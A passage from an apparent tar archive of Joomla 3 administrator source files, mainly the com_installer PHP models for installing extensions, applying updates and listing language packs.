		</field>

		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_installer/models/install.php000060400000026246152455305310013052 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Extension Manager Install Model
 *
 * @since  1.5
 */
class InstallerModelInstall extends JModelLegacy
{
	/**
	 * @var object JTable object
	 */
	protected $_table = null;

	/**
	 * @var object JTable object
	 */
	protected $_url = null;

	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	protected $_context = 'com_installer.install';

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		$this->setState('message', $app->getUserState('com_installer.message'));
		$this->setState('extension_message', $app->getUserState('com_installer.extension_message'));
		$app->setUserState('com_installer.message', '');
		$app->setUserState('com_installer.extension_message', '');

		parent::populateState();
	}

	/**
	 * Install an extension from either folder, URL or upload.
	 *
	 * @return  boolean result of install.
	 *
	 * @since   1.5
	 */
	public function install()
	{
		$this->setState('action', 'install');

		// Set FTP credentials, if given.
		JClientHelper::setCredentialsFromRequest('ftp');
		$app = JFactory::getApplication();

		// Load installer plugins for assistance if required:
		JPluginHelper::importPlugin('installer');
		$dispatcher = JEventDispatcher::getInstance();

		$package = null;

		// This event allows an input pre-treatment, a custom pre-packing or custom installation.
		// (e.g. from a JSON description).
		$results = $dispatcher->trigger('onInstallerBeforeInstallation', array($this, &$package));

		if (in_array(true, $results, true))
		{
			return true;
		}

		if (in_array(false, $results, true))
		{
			return false;
		}

		$installType = $app->input->getWord('installtype');

		if ($package === null)
		{
			switch ($installType)
			{
				case 'folder':
					// Remember the 'Install from Directory' path.
					$app->getUserStateFromRequest($this->_context . '.install_directory', 'install_directory');
					$package = $this->_getPackageFromFolder();
					break;

				case 'upload':
					$package = $this->_getPackageFromUpload();
					break;

				case 'url':
					$package = $this->_getPackageFromUrl();
					break;

				default:
					$app->setUserState('com_installer.message', JText::_('COM_INSTALLER_NO_INSTALL_TYPE_FOUND'));

					return false;
					break;
			}
		}

		// This event allows a custom installation of the package or a customization of the package:
		$results = $dispatcher->trigger('onInstallerBeforeInstaller', array($this, &$package));

		if (in_array(true, $results, true))
		{
			return true;
		}

		if (in_array(false, $results, true))
		{
			if (in_array($installType, array('upload', 'url')))
			{
				JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);
			}

			return false;
		}

		// Check if package was uploaded successfully.
		if (!\is_array($package))
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE'), 'error');

			return false;
		}

		// Get an installer instance.
		$installer = JInstaller::getInstance();

		/*
		 * Check for a Joomla core package.
		 * To do this we need to set the source path to find the manifest (the same first step as JInstaller::install())
		 *
		 * This must be done before the unpacked check because JInstallerHelper::detectType() returns a boolean false since the manifest
		 * can't be found in the expected location.
		 */
		if (isset($package['dir']) && is_dir($package['dir']))
		{
			$installer->setPath('source', $package['dir']);

			if (!$installer->findManifest())
			{
				// If a manifest isn't found at the source, this may be a Joomla package; check the package directory for the Joomla manifest
				if (file_exists($package['dir'] . '/administrator/manifests/files/joomla.xml'))
				{
					// We have a Joomla package
					if (in_array($installType, array('upload', 'url')))
					{
						JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);
					}

					$app->enqueueMessage(
						JText::sprintf('COM_INSTALLER_UNABLE_TO_INSTALL_JOOMLA_PACKAGE', JRoute::_('index.php?option=com_joomlaupdate')),
						'warning'
					);

					return false;
				}
			}
		}

		// Was the package unpacked?
		if (empty($package['type']))
		{
			if (in_array($installType, array('upload', 'url')))
			{
				JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);
			}

			$app->enqueueMessage(JText::_('JLIB_INSTALLER_ABORT_DETECTMANIFEST'), 'error');

			return false;
		}

		// Install the package.
		if (!$installer->install($package['dir']))
		{
			// There was an error installing the package.
			$msg = JText::sprintf('COM_INSTALLER_INSTALL_ERROR', JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($package['type'])));
			$result = false;
			$msgType = 'error';
		}
		else
		{
			// Package installed successfully.
			$msg = JText::sprintf('COM_INSTALLER_INSTALL_SUCCESS', JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($package['type'])));
			$result = true;
			$msgType = 'message';
		}

		// This event allows a custom a post-flight:
		$dispatcher->trigger('onInstallerAfterInstaller', array($this, &$package, $installer, &$result, &$msg));

		// Set some model state values.
		$app = JFactory::getApplication();
		$app->enqueueMessage($msg, $msgType);
		$this->setState('name', $installer->get('name'));
		$this->setState('result', $result);
		$app->setUserState('com_installer.message', $installer->message);
		$app->setUserState('com_installer.extension_message', $installer->get('extension_message'));
		$app->setUserState('com_installer.redirect_url', $installer->get('redirect_url'));

		// Cleanup the install files.
		if (!is_file($package['packagefile']))
		{
			$config = JFactory::getConfig();
			$package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile'];
		}

		JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);

		// Clear the cached extension data and menu cache
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);
		$this->cleanCache('com_modules', 0);
		$this->cleanCache('com_modules', 1);
		$this->cleanCache('com_plugins', 0);
		$this->cleanCache('com_plugins', 1);
		$this->cleanCache('mod_menu', 0);
		$this->cleanCache('mod_menu', 1);

		return $result;
	}

	/**
	 * Works out an installation package from a HTTP upload.
	 *
	 * @return package definition or false on failure.
	 */
	protected function _getPackageFromUpload()
	{
		// Get the uploaded file information.
		$input    = JFactory::getApplication()->input;

		// Do not change the filter type 'raw'. We need this to let files containing PHP code to upload. See JInputFiles::get.
		$userfile = $input->files->get('install_package', null, 'raw');

		// Make sure that file uploads are enabled in php.
		if (!(bool) ini_get('file_uploads'))
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE'));

			return false;
		}

		// Make sure that zlib is loaded so that the package can be unpacked.
		if (!extension_loaded('zlib'))
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB'));

			return false;
		}

		// If there is no uploaded file, we have a problem...
		if (!is_array($userfile))
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED'));

			return false;
		}

		// Is the PHP tmp directory missing?
		if ($userfile['error'] && ($userfile['error'] == UPLOAD_ERR_NO_TMP_DIR))
		{
			JError::raiseWarning(
				'',
				JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR') . '<br />' . JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET')
			);

			return false;
		}

		// Is the max upload size too small in php.ini?
		if ($userfile['error'] && ($userfile['error'] == UPLOAD_ERR_INI_SIZE))
		{
			JError::raiseWarning(
				'',
				JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR') . '<br />' . JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE')
			);

			return false;
		}

		// Check if there was a different problem uploading the file.
		if ($userfile['error'] || $userfile['size'] < 1)
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR'));

			return false;
		}

		// Build the appropriate paths.
		$config   = JFactory::getConfig();
		$tmp_dest = $config->get('tmp_path') . '/' . $userfile['name'];
		$tmp_src  = $userfile['tmp_name'];

		// Move uploaded file.
		jimport('joomla.filesystem.file');
		JFile::upload($tmp_src, $tmp_dest, false, true);

		// Unpack the downloaded package file.
		$package = JInstallerHelper::unpack($tmp_dest, true);

		return $package;
	}

	/**
	 * Install an extension from a directory
	 *
	 * @return  array  Package details or false on failure
	 *
	 * @since   1.5
	 */
	protected function _getPackageFromFolder()
	{
		$input = JFactory::getApplication()->input;

		// Get the path to the package to install.
		$p_dir = $input->getString('install_directory');
		$p_dir = JPath::clean($p_dir);

		// Did you give us a valid directory?
		if (!is_dir($p_dir))
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY'));

			return false;
		}

		// Detect the package type
		$type = JInstallerHelper::detectType($p_dir);

		// Did you give us a valid package?
		if (!$type)
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE'));
		}

		$package['packagefile'] = null;
		$package['extractdir'] = null;
		$package['dir'] = $p_dir;
		$package['type'] = $type;

		return $package;
	}

	/**
	 * Install an extension from a URL.
	 *
	 * @return  Package details or false on failure.
	 *
	 * @since   1.5
	 */
	protected function _getPackageFromUrl()
	{
		$input = JFactory::getApplication()->input;

		// Get the URL of the package to install.
		$url = $input->getString('install_url');

		// Did you give us a URL?
		if (!$url)
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL'));

			return false;
		}

		// We only allow http & https here
		$uri = new JUri($url);

		if (!in_array($uri->getScheme(), array('http', 'https')))
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_INVALID_URL_SCHEME'));

			return false;
		}

		// Handle updater XML file case:
		if (preg_match('/\.xml\s*$/', $url))
		{
			jimport('joomla.updater.update');
			$update = new JUpdate;
			$update->loadFromXml($url);
			$package_url = trim($update->get('downloadurl', false)->_data);

			if ($package_url)
			{
				$url = $package_url;
			}

			unset($update);
		}

		// Download the package at the URL given.
		$p_file = JInstallerHelper::downloadPackage($url);

		// Was the package downloaded?
		if (!$p_file)
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_INVALID_URL'));

			return false;
		}

		$config   = JFactory::getConfig();
		$tmp_dest = $config->get('tmp_path');

		// Unpack the downloaded package file.
		$package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file, true);

		return $package;
	}
}
com_installer/models/update.php000060400000040731152455305310012661 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.updater.update');

use Joomla\Utilities\ArrayHelper;
use Joomla\CMS\Installer\InstallerHelper;

/**
 * Installer Update Model
 *
 * @since  1.6
 */
class InstallerModelUpdate extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'name', 'u.name',
				'client_id', 'u.client_id', 'client_translated',
				'type', 'u.type', 'type_translated',
				'folder', 'u.folder', 'folder_translated',
				'extension_id', 'u.extension_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'u.name', $direction = 'asc')
	{
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.client_id', $this->getUserStateFromRequest($this->context . '.filter.client_id', 'filter_client_id', null, 'int'));
		$this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string'));
		$this->setState('filter.folder', $this->getUserStateFromRequest($this->context . '.filter.folder', 'filter_folder', '', 'string'));

		$app = JFactory::getApplication();
		$this->setState('message', $app->getUserState('com_installer.message'));
		$this->setState('extension_message', $app->getUserState('com_installer.extension_message'));
		$app->setUserState('com_installer.message', '');
		$app->setUserState('com_installer.extension_message', '');

		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get the database query
	 *
	 * @return  JDatabaseQuery  The database query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();

		// Grab updates ignoring new installs
		$query = $db->getQuery(true)
			->select('u.*')
			->select($db->quoteName('e.manifest_cache'))
			->from($db->quoteName('#__updates', 'u'))
			->join('LEFT', $db->quoteName('#__extensions', 'e') . ' ON ' . $db->quoteName('e.extension_id') . ' = ' . $db->quoteName('u.extension_id'))
			->where($db->quoteName('u.extension_id') . ' != ' . $db->quote(0));

		// Process select filters.
		$clientId    = $this->getState('filter.client_id');
		$type        = $this->getState('filter.type');
		$folder      = $this->getState('filter.folder');
		$extensionId = $this->getState('filter.extension_id');

		if ($type)
		{
			$query->where($db->quoteName('u.type') . ' = ' . $db->quote($type));
		}

		if ($clientId != '')
		{
			$query->where($db->quoteName('u.client_id') . ' = ' . (int) $clientId);
		}

		if ($folder != '' && in_array($type, array('plugin', 'library', '')))
		{
			$query->where($db->quoteName('u.folder') . ' = ' . $db->quote($folder == '*' ? '' : $folder));
		}

		if ($extensionId)
		{
			$query->where($db->quoteName('u.extension_id') . ' = ' . $db->quote((int) $extensionId));
		}
		else
		{
			$query->where($db->quoteName('u.extension_id') . ' != ' . $db->quote(0))
				->where($db->quoteName('u.extension_id') . ' != ' . $db->quote(700));
		}

		// Process search filter.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'eid:') !== false)
			{
				$query->where($db->quoteName('u.extension_id') . ' = ' . (int) substr($search, 4));
			}
			else
			{
				if (stripos($search, 'uid:') !== false)
				{
					$query->where($db->quoteName('u.update_site_id') . ' = ' . (int) substr($search, 4));
				}
				elseif (stripos($search, 'id:') !== false)
				{
					$query->where($db->quoteName('u.update_id') . ' = ' . (int) substr($search, 3));
				}
				else
				{
					$query->where($db->quoteName('u.name') . ' LIKE ' . $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true)) . '%'));
				}
			}
		}

		return $query;
	}

	/**
	 * Translate a list of objects
	 *
	 * @param   array  $items  The array of objects
	 *
	 * @return  array The array of translated objects
	 *
	 * @since   3.5
	 */
	protected function translate(&$items)
	{
		foreach ($items as &$item)
		{
			$item->client_translated  = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE');
			$manifest                 = json_decode($item->manifest_cache);
			$item->current_version    = isset($manifest->version) ? $manifest->version : JText::_('JLIB_UNKNOWN');
			$item->type_translated    = JText::_('COM_INSTALLER_TYPE_' . strtoupper($item->type));
			$item->folder_translated  = $item->folder ?: JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE');
			$item->install_type       = $item->extension_id ? JText::_('COM_INSTALLER_MSG_UPDATE_UPDATE') : JText::_('COM_INSTALLER_NEW_INSTALL');
		}

		return $items;
	}

	/**
	 * Returns an object list
	 *
	 * @param   string  $query       The query
	 * @param   int     $limitstart  Offset
	 * @param   int     $limit       The number of records
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function _getList($query, $limitstart = 0, $limit = 0)
	{
		$db = $this->getDbo();
		$listOrder = $this->getState('list.ordering', 'u.name');
		$listDirn  = $this->getState('list.direction', 'asc');

		// Process ordering.
		if (in_array($listOrder, array('client_translated', 'folder_translated', 'type_translated')))
		{
			$db->setQuery($query);
			$result = $db->loadObjectList();
			$this->translate($result);
			$result = ArrayHelper::sortObjects($result, $listOrder, strtolower($listDirn) === 'desc' ? -1 : 1, true, true);
			$total = count($result);

			if ($total < $limitstart)
			{
				$limitstart = 0;
				$this->setState('list.start', 0);
			}

			return array_slice($result, $limitstart, $limit ?: null);
		}
		else
		{
			$query->order($db->quoteName($listOrder) . ' ' . $db->escape($listDirn));

			$result = parent::_getList($query, $limitstart, $limit);
			$this->translate($result);

			return $result;
		}
	}

	/**
	 * Get the count of disabled update sites
	 *
	 * @return  integer
	 *
	 * @since   3.4
	 */
	public function getDisabledUpdateSites()
	{
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->quoteName('#__update_sites'))
			->where($db->quoteName('enabled') . ' = 0');

		$db->setQuery($query);

		return $db->loadResult();
	}

	/**
	 * Finds updates for an extension.
	 *
	 * @param   int  $eid               Extension identifier to look for
	 * @param   int  $cacheTimeout      Cache timeout
	 * @param   int  $minimumStability  Minimum stability for updates {@see JUpdater} (0=dev, 1=alpha, 2=beta, 3=rc, 4=stable)
	 *
	 * @return  boolean Result
	 *
	 * @since   1.6
	 */
	public function findUpdates($eid = 0, $cacheTimeout = 0, $minimumStability = JUpdater::STABILITY_STABLE)
	{
		JUpdater::getInstance()->findUpdates($eid, $cacheTimeout, $minimumStability);

		return true;
	}

	/**
	 * Removes all of the updates from the table.
	 *
	 * @return  boolean result of operation
	 *
	 * @since   1.6
	 */
	public function purge()
	{
		$db = $this->getDbo();

		// Note: TRUNCATE is a DDL operation
		// This may or may not mean depending on your database
		$db->setQuery('TRUNCATE TABLE #__updates');

		try
		{
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			$this->_message = JText::_('JLIB_INSTALLER_FAILED_TO_PURGE_UPDATES');

			return false;
		}

		// Reset the last update check timestamp
		$query = $db->getQuery(true)
			->update($db->quoteName('#__update_sites'))
			->set($db->quoteName('last_check_timestamp') . ' = ' . $db->quote(0));
		$db->setQuery($query);
		$db->execute();

		// Clear the administrator cache
		$this->cleanCache('_system', 1);

		$this->_message = JText::_('JLIB_INSTALLER_PURGED_UPDATES');

		return true;
	}

	/**
	 * Enables any disabled rows in #__update_sites table
	 *
	 * @return  boolean result of operation
	 *
	 * @since   1.6
	 */
	public function enableSites()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->update($db->quoteName('#__update_sites'))
			->set($db->quoteName('enabled') . ' = 1')
			->where($db->quoteName('enabled') . ' = 0');
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			$this->_message .= JText::_('COM_INSTALLER_FAILED_TO_ENABLE_UPDATES');

			return false;
		}

		if ($rows = $db->getAffectedRows())
		{
			$this->_message .= JText::plural('COM_INSTALLER_ENABLED_UPDATES', $rows);
		}

		return true;
	}

	/**
	 * Update function.
	 *
	 * Sets the "result" state with the result of the operation.
	 *
	 * @param   array  $uids              Array[int] List of updates to apply
	 * @param   int    $minimumStability  The minimum allowed stability for installed updates {@see JUpdater}
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function update($uids, $minimumStability = JUpdater::STABILITY_STABLE)
	{
		$result = true;

		foreach ($uids as $uid)
		{
			$update = new JUpdate;
			$instance = JTable::getInstance('update');
			$instance->load($uid);
			$update->loadFromXml($instance->detailsurl, $minimumStability);
			
			// Find and use extra_query from update_site if available
			$updateSiteInstance = JTable::getInstance('Updatesite');
			$updateSiteInstance->load($instance->update_site_id);

			if ($updateSiteInstance->extra_query)
			{
				$update->set('extra_query', $updateSiteInstance->extra_query);
			}

			$this->preparePreUpdate($update, $instance);

			// Install sets state and enqueues messages
			$res = $this->install($update);

			if ($res)
			{
				$instance->delete($uid);
			}

			$result = $res & $result;
		}

		// Clear the cached extension data and menu cache
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);
		$this->cleanCache('com_modules', 0);
		$this->cleanCache('com_modules', 1);
		$this->cleanCache('com_plugins', 0);
		$this->cleanCache('com_plugins', 1);
		$this->cleanCache('mod_menu', 0);
		$this->cleanCache('mod_menu', 1);

		// Set the final state
		$this->setState('result', $result);
	}

	/**
	 * Handles the actual update installation.
	 *
	 * @param   JUpdate  $update  An update definition
	 *
	 * @return  boolean   Result of install
	 *
	 * @since   1.6
	 */
	private function install($update)
	{
		$app = JFactory::getApplication();

		if (!isset($update->get('downloadurl')->_data))
		{
			JError::raiseWarning('', JText::_('COM_INSTALLER_INVALID_EXTENSION_UPDATE'));

			return false;
		}

		$url     = trim($update->downloadurl->_data);
		$sources = $update->get('downloadSources', array());

		if ($extra_query = $update->get('extra_query'))
		{
			$url .= (strpos($url, '?') === false) ? '?' : '&amp;';
			$url .= $extra_query;
		}

		$mirror = 0;

		while (!($p_file = InstallerHelper::downloadPackage($url)) && isset($sources[$mirror]))
		{
			$name = $sources[$mirror];
			$url  = trim($name->url);

			if ($extra_query)
			{
				$url .= (strpos($url, '?') === false) ? '?' : '&amp;';
				$url .= $extra_query;
			}

			$mirror++;
		}

		// Was the package downloaded?
		if (!$p_file)
		{
			JError::raiseWarning('', JText::sprintf('COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED', $url));

			return false;
		}

		$config   = JFactory::getConfig();
		$tmp_dest = $config->get('tmp_path');

		// Unpack the downloaded package file
		$package = InstallerHelper::unpack($tmp_dest . '/' . $p_file);

		if (empty($package))
		{
			$app->enqueueMessage(JText::sprintf('COM_INSTALLER_UNPACK_ERROR', $p_file), 'error');

			return false;
		}

		// Get an installer instance
		$installer = JInstaller::getInstance();
		$update->set('type', $package['type']);

		// Check the package
		$check = InstallerHelper::isChecksumValid($package['packagefile'], $update);

		// The validation was not successful. Just a warning for now.
		// TODO: In Joomla 4 this will abort the installation
		if ($check === InstallerHelper::HASH_NOT_VALIDATED)
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_INSTALL_CHECKSUM_WRONG'), 'error');
		}

		// Install the package
		if (!$installer->update($package['dir']))
		{
			// There was an error updating the package
			$app->enqueueMessage(
				JText::sprintf('COM_INSTALLER_MSG_UPDATE_ERROR',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($package['type']))
				), 'error'
			);
			$result = false;
		}
		else
		{
			// Package updated successfully
			$app->enqueueMessage(
				JText::sprintf('COM_INSTALLER_MSG_UPDATE_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($package['type']))
				)
			);
			$result = true;
		}

		// Quick change
		$this->type = $package['type'];

		// TODO: Reconfigure this code when you have more battery life left
		$this->setState('name', $installer->get('name'));
		$this->setState('result', $result);
		$app->setUserState('com_installer.message', $installer->message);
		$app->setUserState('com_installer.extension_message', $installer->get('extension_message'));

		// Cleanup the install files
		if (!is_file($package['packagefile']))
		{
			$config = JFactory::getConfig();
			$package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile'];
		}

		InstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);

		return $result;
	}

	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since	2.5.2
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		JForm::addFormPath(JPATH_COMPONENT . '/models/forms');
		JForm::addFieldPath(JPATH_COMPONENT . '/models/fields');
		$form = JForm::getInstance('com_installer.update', 'update', array('load_data' => $loadData));

		// Check for an error.
		if ($form == false)
		{
			$this->setError($form->getMessage());

			return false;
		}

		// Check the session for previously entered form data.
		$data = $this->loadFormData();

		// Bind the form data if present.
		if (!empty($data))
		{
			$form->bind($data);
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since	2.5.2
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState($this->context, array());

		return $data;
	}

	/**
	 * Method to add parameters to the update
	 *
	 * @param   JUpdate       $update  An update definition
	 * @param   JTableUpdate  $table   The update instance from the database
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function preparePreUpdate($update, $table)
	{
		jimport('joomla.filesystem.file');

		switch ($table->type)
		{
			// Components could have a helper which adds additional data
			case 'component':
				$ename = str_replace('com_', '', $table->element);
				$fname = $ename . '.php';
				$cname = ucfirst($ename) . 'Helper';

				$path = JPATH_ADMINISTRATOR . '/components/' . $table->element . '/helpers/' . $fname;

				if (JFile::exists($path))
				{
					require_once $path;

					if (class_exists($cname) && is_callable(array($cname, 'prepareUpdate')))
					{
						call_user_func_array(array($cname, 'prepareUpdate'), array(&$update, &$table));
					}
				}

				break;

			// Modules could have a helper which adds additional data
			case 'module':
				$cname = str_replace('_', '', $table->element) . 'Helper';
				$path = ($table->client_id ? JPATH_ADMINISTRATOR : JPATH_SITE) . '/modules/' . $table->element . '/helper.php';

				if (JFile::exists($path))
				{
					require_once $path;

					if (class_exists($cname) && is_callable(array($cname, 'prepareUpdate')))
					{
						call_user_func_array(array($cname, 'prepareUpdate'), array(&$update, &$table));
					}
				}

				break;

			// If we have a plugin, we can use the plugin trigger "onInstallerBeforePackageDownload"
			// But we should make sure, that our plugin is loaded, so we don't need a second "installer" plugin
			case 'plugin':
				$cname = str_replace('plg_', '', $table->element);
				JPluginHelper::importPlugin($table->folder, $cname);
				break;
		}
	}
}
com_installer/models/languages.php000060400000013625152455305310013347 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.updater.update');
use Joomla\String\StringHelper;

/**
 * Languages Installer Model
 *
 * @since  2.5.7
 */
class InstallerModelLanguages extends JModelList
{
	/**
	 * Language count
	 *
	 * @var     integer
	 * @since   3.7.0
	 */
	private $languageCount;

	/**
	 * Constructor override, defines a whitelist of column filters.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   2.5.7
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'name',
				'element',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Get the Update Site
	 *
	 * @since   3.7.0
	 *
	 * @return  string  The URL of the Accredited Languagepack Updatesite XML
	 */
	private function getUpdateSite()
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->qn('us.location'))
			->from($db->qn('#__extensions', 'e'))
			->where($db->qn('e.type') . ' = ' . $db->q('package'))
			->where($db->qn('e.element') . ' = ' . $db->q('pkg_en-GB'))
			->where($db->qn('e.client_id') . ' = 0')
			->join('LEFT', $db->qn('#__update_sites_extensions', 'use') . ' ON ' . $db->qn('use.extension_id') . ' = ' . $db->qn('e.extension_id'))
			->join('LEFT', $db->qn('#__update_sites', 'us') . ' ON ' . $db->qn('us.update_site_id') . ' = ' . $db->qn('use.update_site_id'));

		return $db->setQuery($query)->loadResult();
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   3.7.0
	 */
	public function getItems()
	{
		// Get a storage key.
		$store = $this->getStoreId();

		// Try to load the data from internal storage.
		if (isset($this->cache[$store]))
		{
			return $this->cache[$store];
		}

		try
		{
			// Load the list items and add the items to the internal cache.
			$this->cache[$store] = $this->getLanguages();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return $this->cache[$store];
	}

	/**
	 * Gets an array of objects from the updatesite.
	 *
	 * @return  object[]  An array of results.
	 *
	 * @since   3.0
	 * @throws  RuntimeException
	 */
	protected function getLanguages()
	{
		$updateSite = $this->getUpdateSite();

		// Check whether the updateserver is found
		if (empty($updateSite))
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_INSTALLER_MSG_WARNING_NO_LANGUAGES_UPDATESERVER'), 'warning');

			return;
		}

		$http = new JHttp;

		try
		{
			$response = $http->get($updateSite);
		}
		catch (RuntimeException $e)
		{
			$response = null;
		}

		if ($response === null || $response->code !== 200)
		{
			JFactory::getApplication()->enqueueMessage(JText::sprintf('COM_INSTALLER_MSG_ERROR_CANT_CONNECT_TO_UPDATESERVER', $updateSite), 'error');

			return;
		}

		$updateSiteXML = simplexml_load_string($response->body);
		$languages     = array();
		$search        = strtolower($this->getState('filter.search'));

		foreach ($updateSiteXML->extension as $extension)
		{
			$language = new stdClass;

			foreach ($extension->attributes() as $key => $value)
			{
				$language->$key = (string) $value;
			}

			if ($search)
			{
				if (strpos(strtolower($language->name), $search) === false
					&& strpos(strtolower($language->element), $search) === false)
				{
					continue;
				}
			}

			$languages[$language->name] = $language;
		}

		// Workaround for php 5.3
		$that = $this;

		// Sort the array by value of subarray
		usort(
			$languages,
			function($a, $b) use ($that)
			{
				$ordering = $that->getState('list.ordering');

				if (strtolower($that->getState('list.direction')) === 'asc')
				{
					return StringHelper::strcmp($a->$ordering, $b->$ordering);
				}
				else
				{
					return StringHelper::strcmp($b->$ordering, $a->$ordering);
				}
			}
		);

		// Count the non-paginated list
		$this->languageCount = count($languages);
		$limit               = ($this->getState('list.limit') > 0) ? $this->getState('list.limit') : $this->languageCount;

		return array_slice($languages, $this->getStart(), $limit);
	}

	/**
	 * Returns a record count for the updatesite.
	 *
	 * @param   JDatabaseQuery|string  $query  The query.
	 *
	 * @return  integer  Number of rows for query.
	 *
	 * @since   3.7.0
	 */
	protected function _getListCount($query)
	{
		return $this->languageCount;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5.7
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   list order
	 * @param   string  $direction  direction in the list
	 *
	 * @return  void
	 *
	 * @since   2.5.7
	 */
	protected function populateState($ordering = 'name', $direction = 'asc')
	{
